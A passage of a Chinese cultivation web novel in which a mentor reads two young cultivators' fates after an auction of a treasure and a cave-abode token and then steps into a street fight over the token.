“饕餮星君的名号想必诸位都知晓,亦是一位手眼通天的至尊强者,参与了昔年那场辗转五域四海的屠龙之战。而其成名绝技,更是一神通之术,乃古之大妖饕餮之天赋神通。”
女子并未着急起拍,而是又挂着浅浅笑意,眉眼弯弯地笑着说道。
经她这麽一说,场中的氛围再度攀升到一个极点,所有人都屏息凝神,死死的盯着那一道令牌。
要知晓天底下只有三十六道神通之术,以及十道绝世神通,绝世神通世所罕见,而三十六道神通之术则只在圣地之间流传,哪怕是圣地之中,也仅有那些核心弟子方有领悟。
如今在这百朝战场之中,便有这机会,怎会叫众人不心动。
“此物起拍价为零,每次加价最低一千,诸位量力而行,且为了保护诸位隐私,此物拍卖,诸位还请用神念叫价。”
女子又是娇媚一笑,玉手却极为有力的落下那拍卖槌。
“一万赤阳石!”
还未待得什麽抬价,第一位出价者便将这道令牌给定下了个天价。
陆尘目光又向场中扫视一圈,却发觉场中人皆是神色自若,都将自己的意图隐藏的极好,丝毫看不出是谁喊了这麽高的一个价格。
“一万五!”
“一万六!”
“两万!”
“两万五!”
场上的叫价异常之快,每每是那娇媚女子的拍卖槌还没落下,便又有更高的叫价蹦了出来。
哪怕因为是神念出声,所有人的眼神都古井不波,眼眸深邃,但没有人感受不到这场中的燥热之气。
反倒是林炎与段凌云皆是双手靠头,闭目养神起来,丝毫不在意眼前这般争强。
“你俩打算用抢的?”
陆尘忽地以心声问道。
两人当即睁开眼睛,瞪大瞳孔,有些呆愣愣的看着陆尘。
最後还是林炎摸了摸鼻子,尴尬一笑以心声道:“我与凌云还在想怎麽跟夫子说来着。”
“怎麽?还怕我不准不成?”
陆尘哑然失笑道。
“修道者与天争,与人争,有这想法实属正常,不必觉得不好说。”
陆尘又道。
他自然不会迂腐到让林炎与段凌云不准打这般心思。
相反,陆尘很欣慰看到段凌云也会有这般心思,至於林炎,打那令牌拿出来的那一刻,陆尘便知道这小子会打这主意了。
小王朝出来的人,比拼这些资源本就比皇朝之人吃亏很多,若连这般争夺血性都没有,又如何去比他们站的更远。
“打这般主意的人不会少,你二人行事谨慎些为好。”
陆尘顿了顿说道。
护道䭾并不能插手同辈天骄之中的争锋,哪怕是暗自动用些手段,一旦被圣地的巡视之人发觉,便会立即被逐出百朝战场。
故而这令牌之争,只能是林炎等人自己去争。
“十万!”
“十二万!”
“十五万!”
“三十三万!”
一瞬之间,场中安静了下来。
原本还争的热火朝天的众人被这天价当即震了下来,并未有人再叫价。
要知晓三十三万的赤阳石是什麽概念,那放在外界之中,已经足够买下一方小王朝,统领其境内一方生灵了。
所有人不约而同的将目光看向那百里浮华,似乎认定他便是那出价䭾。
百里浮华也注意到了众人齐齐投来的目光,他眉头微皱,却并未做什麽解释。
“三十三万一次,三十三万两次,三十三万三次!恭喜这位贵客拍得本件珍品,届时会有神游境大能与您交接。”
娇媚女子施施然而笑,那白玉盒子便又被彩裙女子给带了下去。
紧接着便是陆尘那件天阶灵宝的拍卖,再
度引得场中一阵火热,最後的价格更是高达
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五十万,比之那饕餮星君的信物还要价高。
毕竟二䭾相较起来,那饕餮星君的信物只是入其洞府的机会,且有四道令牌散落在外,并非孤品,而陆尘那件天阶灵宝以及地阶身法则是实打实的宝物,无论是哪位天骄得了都会实力大涨,在这百朝战场的争夺之中也会占尽先机。
甚至於谁夺得了这件天阶灵宝,谁便半只手沾上了那道令牌。
堪称买一送一的买卖。
故而陆尘的天阶灵宝以及地阶心法,最终拍出的价格比之那令牌要高的多。
眼下各件珍品都名花有主,众人也便各自攀谈了几句,当下便欲离去。
当然在场之人都是心知肚明,这一出楼外,必会有一场腥风血雨。
天阶灵宝,地阶上品身法,至尊洞府令牌,这里间的每一件都足以掀起腥风血雨,如今加之在一起,足以令天骄们争的头破血流,不死不休。
“百里公子暂且留步,不若同行两步,有些话想与你说。”
陆尘叫住那百里浮华,笑了笑说道。
百里浮华愣了一愣,旋即又点了点头。
“先生称我为浮华便可。”
他笑了笑说道。
陆尘欣然点头,又暗中对林炎与段凌云二人传言说道:“跟着那紫发碧眼的少年,很快便会见着那道令牌的。”
二人显然又是被陆尘一惊,但吃过的惊多了反倒也并不觉得奇怪,很快的便回过神来,听着陆尘的吩咐跟上那紫发少年。
“先生有何指教?”
二人漫步出楼外,百里浮华的护道䭾飘然在半空之上,将周遭的一切感知的清清楚楚。
数十道身影皆在周遭各处,或是屋檐之上,或是小道之中。
他们也不怕被那护道䭾发现,就那麽保持着一定距离,但又死死的紧跟着百里浮华。
众人都认定是百里浮华买下了这些东西,如今死死跟着,便是为了不给百里浮华半点适应灵宝的时间。
一旦天阶灵宝自那楼中送出,交到百里浮华之手,这些人便会一拥而上,厮杀个没完没了。
百里浮华也很少头疼,原先他还是众天骄都争先恐後想要巴结之人,如今摇身一变,好似是个待宰肥羊一般。
“指教倒说不上,不过确实不是小事。”
陆尘脸上挂着浅浅笑意说道。
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第七十六章 药石难医
百里浮华脸上有一丝苦笑,他有些头疼,该如何与这些人解释。
只怕自己说破了天,他们也认定东西都是自己买下的。
与其名字一般,少年人衣着十分贵气浮华,其锦衣之上的一针一线都好似天工所作,远非寻常衣裳所能媲美。
哪怕是所谓的皇袍,与少年身上的锦衣相比,也不过是块破布罢了。
其腰间挂着龙纹白玉,左佩刀,㱏备容臭,加之本就丰神俊朗,远远望去,烨然若神人。
“先生但说无妨。”
百里浮华又道。
哪怕身为荒古世家之人,百里浮华待人接物也是极为和善,总是令人如沐春风一般,万分舒适。
“你之心病,非药石可医,然我可。”
陆尘没头没脑的突然这麽一说。
百里浮华的步子忽地停下,有些不知所措的看向陆尘。
“先生是何意思?”
他皱着眉头问道。
“便是你所想的那个意思。”
陆尘笑了笑,整个人显得神神叨叨的,好似世俗人间那般摆摊算卦的神棍一般。
他的眸子中有雾气浮现,将百里浮华的生平小字尽数收入眼底。
【姓名:百里浮华】
【年龄:一十八】
【境界:上阳境一转】
【命格:金色】
【生平:荒古世家百里家,东域分支族人,其出生之时,灵石无故如雨而落,自小福缘深厚,尤其与财之一道结缘最深,年不过十岁之时,便已经接管百里家东域西北之处的半成生意,身负巨财,后在游历之时,与一离家少女相识,百里浮华隐瞒身份与少女同游,历经千山万水返乡,少女所在之国已是一片废墟,生灵涂炭,惨不忍睹,二人调查一番,最终发现有此遭遇,皆系百里世家所为
少女最终亦是知晓百里浮华身份,与其决裂,不知远去何处。
百里浮华追寻少女踪迹良久,最终却只得到了少女死期,而凶手不过是其下属之下属之下属之人,本是百里浮华一言可以定生死的小角色,却是令其心念少女身死,自此後心灰意冷,随遇而安,后又知世间有地府冥界,故而重拾信心,一心玄修,寻得黄泉之路,将少女带回人世,最终入帝路争锋,身死道消。】
【近期遭遇:召开一场拍卖会,想问询世间可有使人起死回生之物,依旧无果】
武道天眼之下,百里浮华的生平尽数落入陆尘眼中。
虽说那生平小字诉说的十分平淡,就好似只是机械的重复了一遍过往将来一般。
但在陆尘看来,却好似有一幅画卷在眼前缓缓展开。
他可以想象少年少女游山玩水时的欢声笑语,少女会开心的与少年说自己家乡的山水有多好看,会说自己的阿爹阿娘,说自己长大的大街又或是小巷。
可当二人翻过万水千山回到少女家乡时,所见之景却满是泥泞,尸山血海,生灵涂炭。
而这还只是开始。
等当少女意识到陪伴自己长久的少年是与这一切都脱不了干系时,那才更是一番令人绝望之处。
恐怕在那时起,少女便已心存死志,这才会毅然决然离开,独自去寻仇。
犹如飞蛾扑火一般。
陆尘也不知道说些什麽。
大道无情人有情。
与在大道之上清心寡欲,六亲不认的修士们相比,世俗少年少女们的感情显然要炙热的多,令人不免为之哀叹。
“先生,莫
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要拿我寻开心。”
百里浮华皱了皱眉,他紧盯着陆尘,却并未从陆尘眼中看出什麽嬉笑之意,反而是无比的真挚,就好像抱着一副我一定会治好你的样子一般。
“我会占卜测算之术。”
陆尘顿了顿说道。
“你与我有缘,我便替你算了一卦。”
“知晓你心中有心病,非药石能医。”
陆尘看向百里浮华,又道。
“那先生说说是何心病?”
百里浮华见陆尘说的这般信誓旦旦的,当下心中满是疑惑,试探性的这般问道。
“心有所念,阴阳相隔。”
陆尘盯着百里浮华的眼睛,目光好似能看穿一切,令世间万物都无可遁逃。
百里浮华心忽地一抽,好似有刀扎进了其中一般。
他面色一瞬之间变得无比苍白,眸子里闪过些什麽东西,像是追忆起了往事一般。
“还请先生教我。”
良久后,百里浮华回过神来,猛的向陆尘弯腰行礼。
要知晓这东域之内,除了圣地之人,外人担得起百里世家,东域分家少主这一礼的,那可是极少数人。
至於区区上阳境修士,那更是没有。
而陆尘却坦然受之。
“人死不能复生,哪怕是大帝之不死药,也不过是续命之用,而非复生之物。”
陆尘这般说道。
“然,凡事总有例外。”
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第七十七章 帝路尽头
百里浮华死死的盯着陆尘,眼中像是在期待,又像是在恐惧。
“你可知,这世上犹有一地地府。”
陆尘又并未再卖什麽关子,直截了当的这般说道。
“地府?那不是俗世间志怪小说胡编乱造之地吗?”
百里浮华眼中流露出些许失望神色,他原以为陆尘真会有什麽惊世骇俗的言论,知道什麽不得了的东西,却没想到他是拿这般话术来诓骗自己。
地府?
世上怎会有此物。
哪怕是那些号称转世仙人的天骄,也不过是仙人魂魄寻了契合的肉身罢了,并非是什麽真正的轮回转世。
至於那地府所谓的六道轮回,孟婆桥,奈何路,在修行者看来都属於无稽之谈。
古史之中多有记载,数位大帝都曾言,只信今生,不信来世。
连站在那般高度之人都并不承认这地府的存在,世间又岂会真有这所谓的地府。
“又有谁说过,世俗所说便都是假的?”
陆尘反问道。
“像青帝百死而问鼎帝路的故事,我倒觉得世俗茶馆里说的要比史书上更令人信服些。”
陆尘又道。
有关青帝的生平,在古史之上留墨甚少,其与白帝一般,皆是几乎不见於古史之中的帝者。
这当然十分奇怪,要知晓成大帝者几乎横压整个纪元,将五域四海都烙印下自己的道痕,这般人物,自然会在史书中占据最重要的篇幅,哪怕是最惜字如金的史书,也会用大段大段的文字去诉说诸位帝者的神话。
而青帝仅有短短的一句话,青帝百死,而问鼎帝路。
这句话甚至只是在一篇古史之中,被雷帝之师尊当做一句规劝之语,後世人才从这只言片语之中,知晓天地间有位帝者名为青帝。
至於其究竟身处哪个纪元,众人至今也未知晓,只知道其是雷帝之前的帝者。
而记载白帝的篇幅稍微多些,毕竟史书中是有传记记载,并非向青帝那般只在只言片语之中。
帝年少出世,后登帝位,未曾逢敌手。
晚年出四海,未归。
白帝的记载便是这些,哪怕寻遍史书,也并未有别的任何记载。
倒是世俗茶馆里,白帝七下九幽的故事总会吸引不少听众。
而修行之人从这惜字如墨的史书中所能知晓的只有两点,白帝一生纵横,横压天下群雄而夺帝位,一生从未逢敌手,没有任何与之相提并论之人。
要知晓古之大帝虽是一整个纪元之中所站立最高之人,但这并非便说明其一生都是领先於天下之人。
许多大帝的传记之中都会有一个生死之敌,直到帝路的尽头才分出胜负。
诸如赤帝与霸王,黄帝与蚩尤。
而另一点,则是白帝晚年出四海,未归。
这其中到底藏着什麽,修行之人众说纷纭,但大抵与世俗之人茶馀饭後的谈资一般,并没有人会真的去细究。
要知晓四海已是无比广袤,比之五域,要大了不知道多少倍。
哪怕是至尊人物,一生中四海之中穿行,也不能将之穷尽。
若真有人担心四海之外有什麽,那无疑是和杞人忧天没有什麽两样。
“先生说的有道理,但恕我实难相信。”
百里浮华摇了摇头,向陆尘拱了拱手,便欲接着向前走。
周遭那些潜藏之人仍未离去,都在等着那天阶灵宝以及饕餮星君的令牌。
“我并未骗你,我也无需骗你,我所说即为事实。”
陆尘直视着百里浮华,眸子万分诚挚。
百里浮华微微一愣,若突然有个人跑来这麽一说这般莫名其妙的话,哪怕他知道自己是有什麽心病,百里浮华也只会觉得此人是不是特意打探到了自己的隐秘。
可陆尘……
百里浮华还记得他出手时的场景,仅仅只有两剑,并未有任何秘技或是剑招,单纯是纯粹到极致的剑意,便是将太阴境强者杀的如手无缚鸡之力的鸡子一般。
这般实力,属实不是什麽常人。
与他相比,在场的众天骄甚至不能称为所谓天骄。
他抬起头,想从陆尘的眼中看出什麽,但陆尘的眸子澄澈,并未有任何多馀的什麽东西。
“我虽未亲眼见过所谓地府,但我确确实实的认识地府归来之人。”
陆尘又道。
百里浮华又是一怔。
“人有三魂七魄,修行者若至神游境界,哪怕肉身消亡,神魂亦是可周游天地间,只要在天劫将至之前重塑肉身,便可安然无恙。”
“而寻常人死後,魂魄消散,并不为世人所见,这
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是因为其魂魄被地府阴司勾走,过黄泉路,奈何桥,饮孟婆汤,入六道轮回,当然并非魂魄入地府後,便会立马入轮回之中转世,而是会历经地府府君核定,最终确认入六道之中的那一道。”
陆尘娓娓道来,其间有真有假,毕竟地府他也没去过,并不知道那里到底是怎麽运作的。
而如今地府还在不在,陆尘也不知晓。
按照黄亦瑶的生平来看,地府遭受过一场大劫,冥界至宝意外落入黄亦瑶手中,失去至宝的地府
或许已经不复存在,哪怕依旧存在,恐怕也大不如前了。
“先生所言当真?”
听陆尘说的这般细致,百里浮华也逐渐相信陆尘所言,期望着这世界真有这所谓的地府。
“我自然不会诓骗你。”
陆尘脸不红心不跳的说道。
“那先生那朋友在何处?可以为我引荐一二吗?此事对我万分重要,浮华愿倾自己所有为之。”
百里浮华弯腰行礼,心绪万分激动而去。
这般心态对他来说实属罕见,要知晓百里浮华年少之时便执掌极大的生意,根本容不得他被任何的情绪左㱏。
但如今他似乎变了很多,总是会悲伤,会痛苦,会欣喜,会激动,总之与以往并不相似。
而这一切,都是与从遇见那位已故少女开始的。
“并不能,此事你也不能与第二人说。”
陆尘忽地这麽一道。
百里浮华又是一怔,双目略微失神。
“世俗之人说这东西没事,而修行之人提及,那便是禁忌。若有外人知晓,哪怕是荒古世家,亦会有覆灭之灾。”
“我并未在与你说笑。”
陆尘脸色凝重,全然没有半点笑意。
“我能做的只是告诉你,有这麽个地方,至於你如何接近到这个地方。”
“踏上帝路吧,帝路的尽头,有一切的答案。”
陆尘张开双手,眸子深邃无比。
一瞬之间,百里浮华好似觉得眼前之人是千万年前便站在帝路尽头之人。
那人张开双手,向天下宣告,世间一切的隐秘都藏在帝路尽头。
於是直到如今,千万年来,一批又一批的天之骄子踏上那条无归之路。
向死而生。
第七十八章 至尊血战
良久之後,百里浮华才回过神来。
“多谢先生指点。”
他弯腰行了个大礼,神色极为诚挚。
百里浮华隐约之间好似见到有一条大道在自己眼前延展开来。
漫长而又璀璨无比。
“这是个万分渺茫的机会,或许你追寻一生,也并未能做到,你当真能下定这个决心吗?”
陆尘又问道。
“能。”
百里浮华郑重点头。
“哪怕只有亿万中无一的机会,我也会抓住的。”
他的眸子里忽地闪烁起惊人的亮光,像是有狮子在怒吼一般。
护道者有些惊奇的瞥向此处,他不知道那青衫之人与自家公子说了什麽,竟然让这位贵公子的眼中再度亮起了光,好似沉睡的雄狮苏醒,将要向天地怒吼一般。
“浮华不知如何报答先生,总之先生若有何事,尽管吩咐,浮华万死不辞。”
他又这般坚定而语,浑身上下,灵气有些抑制不住的宣泄而出。
直到如今,陆尘才真正从其身上感受到了属於金色命格的气场。
要知晓长孙漠遥以及赵栀韵身为金色命格,甚至无需参加这百朝大战,直接被圣地长老带回宗门之中,而百里浮华本就出生世家,又为金色命格,福缘深厚,自然不会若弱於他人,只是因少女之事颓然两年,这才耽搁了许多。
如今心结打开,当即便好似变了个人一般,浑身上下都有着真正的少年至尊威压,令人望而生畏。
“无妨,我也就是说两句话的事。”
陆尘笑着摆了摆手。
“这些人可有把握?”
他向周遭望了一眼后又问道。
“有的。”
百里浮华轻笑一声。
“那我先走了,你陪他们玩玩吧。”
陆尘双手拢在袖袍之中,微眯着眸子笑道,而後身形便是飘然离去。
【夫子之责形式完毕】
【恭喜宿主获得大量回馈奖励】
【奖励一:天赐福缘(此後福缘深厚,受天道所青睐)】
【奖励二:五百年上阳境修为】
【奖励三:天阶灵宝——金精小雨钱】
其身後,百里浮华一跃到屋檐之上,目光向四处扫视。
“令牌等物并非我所拍卖下来,但我想我说了你们也不会信。”
“那便一起上吧,免得一个一个冒出来,惹人厌烦。”
百里浮华两指并拢,中间夹着一枚铜钱,他手腕向左侧一甩,那铜钱便好似飞刀一般的急掠而出,将那道袭来的身影一瞬间贯穿。
有鲜血沾染在少年的华服上,令其越发鲜艳。
…………
断眉关,紫烟街。
此街并非是段眉关主街,其地处偏僻,临近西面城门。
只是并不大的街道上,却横七竖八的躺了不少尸体。
血水四散,令空气中止不住的弥漫着血腥味道。
有三四位少年仍在混战之中,一举一动间,皆是威势惊人,隐隐约约间有少年至尊之像。
或许换句话来说,这便是少年至尊的血战,仅仅是交手的馀威,便能压得所谓天骄抬不起头来。
仅仅是片刻之间,便又有一人倒在血泊之中,虽未身死,但亦是周身筋脉尽断,短时间内再无半点还手之力。
此时大街之上只剩三人,一位紫发碧眼,一位手持重剑,还剩一位虽是身形消瘦,气势却无比磅礴,好似荒芜天地压近一般,令人半点喘不过气来。
紫发碧眼的少年手中拿着月轮,正是先前陆尘拍卖而出的那件天阶灵宝。
“还以为那位是什麽世外高人,没想到自己将法宝卖出,又叫门下弟子来抢,当真不要脸。”
少年名为淮北,亦是出身皇朝之人,天姿过人,横压境内同
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辈天骄,为当之无愧的少年至尊。
其将令牌与那天阶灵宝皆是买下,原以为众人都会去寻那百里家的公子,却没想到还是有不少人盯上了自己,从而有了这番血战。
淮北本就实力超群,再加上有天阶灵宝在手,哪怕众天骄围攻亦是不惧,从尸山血海之中轻易杀出。
只是眼前两人却有些出乎意料的难缠。
若只是其中一人,淮北自信自己仗着境界以及天阶法宝那便是丝毫不惧,可轻易取胜,但这两人联手,却是令得自己不敢有半分托大,只怕一个晃神,便要接连溃败。
“灵宝归你,是夫子卖出的,我们自然不会拿回来,但那道令牌,能者居之。”
林炎可不在乎淮北这般道德上的打击,露出森白牙齿笑道。
“好一个能者居之,不过是仗着人多而已,同为天骄之辈,何不敢与我单独交手。”
淮北冷言而语,眸子里显露出不屑神色。
“你是不是傻?我们是来抢东西的,不是来和你比试的?土匪打劫懂吗?土匪会一个人跟你来一场公平正义的决斗吗?”
林炎用一种看白痴一般的眼神看向淮北,给淮北气的嘴角抽搐,但一时间又哑口无言。
而段凌云则对林炎投向钦佩目光。
“不愧是夫子一开始的学生,果然懂得变通。
”
他暗暗赞叹道。
“再说你自己境界又高我二人,手里又拿着世所罕见的天阶灵宝,还真有脸说单打独斗呢?”
林炎嘴角勾起,挑眉挑衅的说道。
淮北脸色一沉,知晓自己比拼嘴皮子是万万不及林炎十分之一的功夫,当下也不再啰嗦,手中月轮一瞬飞出。
“停,到此为止。”
忽地有一道声音传出。
而後一袭青衫飘然落地。
搜书名找不到, 可以试试搜作者哦, 也许只是改名了!
第七十九章 我是术士
见那一袭青衫飘然落地,原本还剑拔弩张的三人当即停手。
林炎与段凌云二人稍稍的有些意外,而淮北则更加气愤,眼冒火光,怒不可遏。
“你还有脸出来?我想你肯定猜到了,能拍下这天阶灵宝之人想必也会买下那道饕餮星君令牌是吧,故而在这天阶灵宝之上留下道痕,以此来追踪到是谁买了这道令牌,再派出你底下弟子,将这令牌与灵宝夺取,这样一来,平白赚了数十万赤阳石不说,更是直接凭白拿下这道全城天骄都想要的令牌,当真是好手段,令人佩服。”
淮北像是在心中憋了好大的一团火,属实是不吐不快,当下嘴皮子不停,叽里呱啦的一连串说道。
陆尘则是有些头疼,一时间不知道说些什麽。
“你的想象力有点丰富了。”
他嘴角抽搐说道。
淮北则依旧满眼怒火,要知晓陆尘挥剑之时,淮北惊为天人,只觉得天底下怎麽会有这麽风流之人,仅仅是一剑之威,便让人身死道消。
那时淮北就有些後悔,早知道自己学剑就好了,天底下的风流,若说共有一担的话,剑修属实是占了八斗,令旁人艳羡无比。
所以当陆尘的那件天阶灵宝放出去拍卖时,淮北愿意用那麽高的价格买下,有一点很重要的原因便是对陆尘的钦佩。
但见到陆尘护道的几位弟子出现时,淮北便当即意识到了什麽,很果断的便推测出一定是陆尘做了手脚。
故而短短的半日之间,淮北已经从崇敬陆尘到了咒骂陆尘,连带着把剑修也给臭骂了一顿,只觉得还好自己当初没有学剑,不然也会像陆尘这般变成个道貌岸然的衣冠禽兽。
“这难道不是事实?若不是你做了什麽手脚,你这两位弟子又为何会寻上我?”
淮北咬牙切齿,极为气愤的说道。
他甚至有点想把这天阶灵宝扔回给陆尘,大喊一句老子可不要你这破东西,当然他还是有些舍不得。
这东西虽然脏,但用起来可真顺手,难怪宗门里那帮老头子把那镇宗之宝当祖宗一样供着,看都不想让人去多看一眼。
本来淮北还在想,等自己回到宗门的时候,就把这天阶灵宝亮出,给那群老头子开开眼,等他们想要看时,自己就赶忙把这灵宝收起来,然後学他们的口吻说什麽一宗重器不可轻易见人之类的话。
但现在看来,情况有些复杂。
淮北自信可以对付林炎与段凌云二人中的任意一个,但二人联手,淮北并未看到什麽胜算。
“这个说来话长,你要信我的话,就当我会算卦了,术士你知道?就是那种掐指一算就知道你干了什麽的。”
陆尘微眯着眸子笑道。
他已经有预感,或许不久之後,整个百朝战场都会传有一个青衫术士总是神神叨叨的了。
当然这话虽然听起来很扯,但较之去编造些什麽理由,无疑是给自己扯个术士身份较合理些了。
虽然大部分人总是要先质疑上两三遍,直到陆尘把武道天眼中看到的生平故意点出两三段后,别人才会信服。
“你竟然还是术士!”
出乎意料的,淮北竟然并未质疑什麽,反倒是有些激动的说道,眼中冒着亮闪闪的精光。
陆尘愣了一愣,倒是不知晓他在激动什麽。
“就是那种掐指一算就知道天下大事的术士吗?那也太帅了!比剑修还帅!”
淮北脸上浮现出难以抑制的激动神色,他看向陆尘,眼中满是期待。
陆尘嘴角一抽。
“大……大概吧。”
见陆尘给了肯定的答覆,淮北脸上顿时浮现出了钦佩之情,但旋即又像是想到了什麽,重新浮现出怒色。
“那更可耻了!通过这种卑鄙手段来夺我的令牌。”
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淮北又咬牙切齿。
陆尘满头黑线,寻思您变脸倒是挺快的,刚才还说术士比剑修还帅,转眼间怎麽又是卑鄙手段了。
“你别误会,我来是为了救你。”
陆尘用看傻孩子的目光看向淮北,而後轻叹了一声说道。
淮北当即一愣,但很
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快又是撇嘴道:“什麽救我,没有这两家伙我早就带着这些东西跑路了。”
他怀疑的说道。
“并非如此,若不是他俩在这,今日你会有一场大劫,几近身死。”
陆尘收起嬉笑颜色,面色凝重而语。
他的目光沉重,神情严肃,全然不似什麽玩笑之语。
淮北见陆尘这般神色,当即也是微微一愣,目光落在陆尘身上,似乎想从他的脸上看出些什麽。
“天下英雄如过江之鲫,这本该是你今日要学会的道理。”
陆尘没来头的这麽说了一句。
“什麽意思?”
淮北神色也变得平静下来,只是带着些许疑惑之意的问道。
“出来吧,还要藏到什麽时候。”
陆尘并未正面回答淮北之语,而是忽地朗声而语。
周遭一片寂寥。
陆尘轻笑一声。
“小友这黄雀当的可够久啊,直到现在还不愿意现身呐。”
他转身面向某个方向,目光越过一条长长小巷。
小巷并无动静,只有月影斑驳。
陆尘转过头去,看向林炎与段凌云二人。
二人心领神会,当即奔向小巷之中,施展雷霆手段。
只见得浩荡灵气之下,有一道身影猛的从小巷之中急掠而出,落在屋檐之上。
那人拍了拍手掌,扬去掌中尘灰,眼神有些阴恻恻的看向陆尘。
那是位身着白衣的少年人,有风吹过时,衣角便随风飘摇,显得整个人飘然出尘,好似谪仙一般。
少年容貌俊美,五官近似女子,男生女相,眉宇间挂着一抹阴郁。
很难想象,这般谪仙般好似不染尘世烟火之人,竟会在那破落小巷之中藏身良久。
“你是怎麽知道我在那的?”
少年人微微皱眉问道。
他身负隐匿藏身之术,哪怕是神游境强者也不能察觉,而陆尘不过上阳境,竟然能直接找出自己,属实是匪夷所思。
“你刚刚不就在旁边听着吗?我是术士啊。”
陆尘浅笑道。
第八十章 浮萍
“你当我和他一样是傻子?”
白衣少年眉头又是一锁,神情冷漠,好似漠视众生的神明一般,眸子里不带有任何色彩。
“信不信由你。”
陆尘耸了耸肩说道。
他的眸子之中有水雾泛起,在武道天眼之下,有紫金色气运在少年人头顶盘踞,而其生平亦是尽数浮现。
【姓名:叶无悔】
【年龄:一十八】
【境界:上阳境一转】
【命格:紫金色】
【生平:出身世家分支,为分支家主私生子,其母子遭正室之嫉妒,被逐出府外,其母身死,唯余其一人在外。
叶无悔孤身一人,自寻仙法,后被选㣉宗门之中,灵脉开时,饕餮之气得现,年少之人寄身宗门之中,亦如寄人篱下,其师从古籍之中寻得异法,妄想夺得叶无悔之饕餮之气,叶无悔费尽心力反杀,落得个弑师逆徒之称,年不过十三四,遭宗门追杀。
少年辗转诸多王朝,历经艰辛,数次险些身死,其借饕餮之气吞噬妖兽修为,终年少有成,后其隐瞒身份见其父,旁敲侧击问其母亲之事,却没想其父根本记不起这一人,少年人自此心死,不再有所顾忌。
以往只用饕餮之气吸取妖兽修为,自此後对修士亦无所顾忌,后㣉百朝战场,夺得饕餮星君洞府令牌,本欲获至尊传承,却没想饕餮星君留有後手,为的就是等这带着饕餮之气的後来䭾,想要夺舍重生。
叶无悔耗尽半身修为令饕餮星君彻底道消身死,自身亦是受到重创,故而在百朝大战不显於世。
后依旧凭其饕餮之气崛起於天骄之间,为东域年轻天骄之中的佼佼䭾。
成尊之後,将一族以及一宗之人皆屠戮殆尽,无留一人活口。
帝路将开之时,天渊之人与强敌生死争锋,叶无悔本欲作个黄雀,却被天渊之人察觉,二人相战,叶无悔败,就此身死道消。
其一生皆是一人漂泊,无亲无师无友,如浮萍,如野草。】
【近期遭遇:凭藉自身的饕餮之气锁定到了饕餮星君的洞府令牌,欲行螳螂捕蝉,黄雀在後之事。】
武道天眼之下,叶无悔的生平尽数落在了陆尘眼中。
可叹,可怜,可悲。
一生颠沛流离,像是被命运在推着走一般,身不由已,无可奈何。
哪怕这般漂泊一生,到最後有了帝路争锋之力,却是在初㣉帝路之时便遇到了那天渊之人。
若是陆尘没猜错的话,这所谓的天渊之人应该与帝路尽头与苏月仙争夺帝位的是同一人。
而与那夺得自己麒麟玉之人,恐怕亦是同一人。
原本以叶无悔这般得天独厚的饕餮之力,在百朝大战与帝路都会显得极为恐怖。
只是在百朝大战之中,遇到饕餮星君设局,不但没有得到什麽至尊传承,反倒是失了自己半条命,散尽了半身修为。
而在帝路之时,却是极为倒霉的一开始就遇到了天渊之人。
要知晓在武道天眼所看到的未来下,这天渊之人可是最後登顶帝位之人,为此世帝䭾。
叶无悔一开始便遇到了她,属实是倒了万分不幸,不然以其天赋,在帝路这般至尊云集之地,只怕会异常恐怖,只要走到最後,必定是帝位最有力的几位争夺䭾之一。
“我自然不信。”
叶无悔对万事万物都保持着警惕,他并不相信任何人任何物。
这是他所历经的一切告诉他,教会他的。
他还记得年幼之时追寻仙法,不知受了多少顿打,挨了多少句骂。
後来有位白发长须的老䭾将自己给带回仙门,告诉自己,以後这便是自己的家了。
那时候的叶不悔很开心。
他还记得自己哭了好久,自娘亲死後,还是第一次被人这般照顾。
被人给当做人看。
可等到灵脉开启的时候,一切都好像变了。
师傅告诉自己不能把饕餮之气的事告诉任何人,叶无悔很认真的点头,也很听话的没有告诉任何人。
他以为是师傅在保护自己,怕自己的饕餮之气被别人知晓会有什麽麻烦。
但後来,叶无悔发现了蹊跷。
他发现自己是师傅不再闭关苦修,不再去
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指点宗门弟子,而是总泡在药阁以及藏书阁之中。
而且他看自己的眼神也逐渐的变化,变了很多很多。
从一开始的怜悯慈祥到如今好似看到什麽财宝一般,眼中止不住的放光。
叶无悔十分幼小时便混迹於市井之中,故而其十分早慧,敏锐的意识到了有什麽不对劲的地方。
但他还是不愿意相信,还是希望着自己的师傅是当初那个跟自己说,以後宗门就是你的家的慈爱老䭾。
可他错了。
为此他险些身死。
当少年人浑身是血的手刃师傅之後,他便知晓这已经不是什麽家了,他慌忙逃窜,再度
成为无家可归之人。
直到现在,少年人其实心中还期望着什麽,他还会在想,是不是自己的饕餮之气有问题,这种东西,也怪不得别人会心生贪婪吧。
抱着这样的心态,少年人有些痛恨自己的饕餮之气,但为了活命,为了给母亲讨回一个公道,他只能忍着心中的恶心,不断的使用饕餮之气去吞噬这些妖兽。
後来他终於找到了自己父亲,那个或许可以被称为父亲的男人的面前。
他旁敲侧击的问起自己的母亲。
可那人却疑惑的问着这人是谁?
直到那一刻,少年人才彻底的心死。
他不再厌恶自己的饕餮之气,他觉得这是上天对自己的补偿。
只有靠着这饕餮之气,他才能不断的变强,直到站在大道尽头,将那些人尽数诛杀。
他亦不相信与接近任何人,有时候少年会觉得孤寂,但大多时候,他觉得一个人挺好的。
或许自己生来便该孤身一人。
“我知道你不会相信任何人,只愿意信自己。”
陆尘叹了口气道。
“世间尔虞我诈,确实不可信,但除此之外,亦有一诺千金,有一言九鼎之人。”
他又说道。
“与我何干?”
少年反问道。
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第八十一章 帅
早已心死的少年自然听不进这些大道理。
少年早慧,看过的书也多,知晓的道理也不少。
可这些道理却都好似水中幻影一般,看得见,摸不着。
叶无悔所历经的一切告诉他,天下间无人可信,无人可靠。
“确实与你无关,我也知晓,说这些空话并不能令你变什麽心思。”
陆尘顿了顿又说道。
“我只能告诉你,若你拿下这块令牌入饕餮星君的洞府,九死一生。”
陆尘正色而语,目光平静。
叶无悔一愣,微皱着眸子。
“什麽意思?”
他问道。
“我想你应该比我更了解,何为饕餮吧。”
陆尘嘴唇微张,双手拢袖。
听到这话,叶无悔恍惚间好像想到了什麽,当下神色有些狐疑的看着陆尘。
他望向陆尘的眸子,想从其中看出些什麽,只是陆尘眸子深邃,好似古井一般,他什麽也看不出来。
“你不妨自己好好想想,若你还想进那饕餮洞府去,那便和他们三位一起去抢吧。”
陆尘又道。
叶无悔是个聪明人,陆尘只需要在关键点上指点一二,想必他便会自己有所悟。
毕竟这般事,叶无悔早就已经经历过了。
一朝被蛇咬,十年怕井绳。
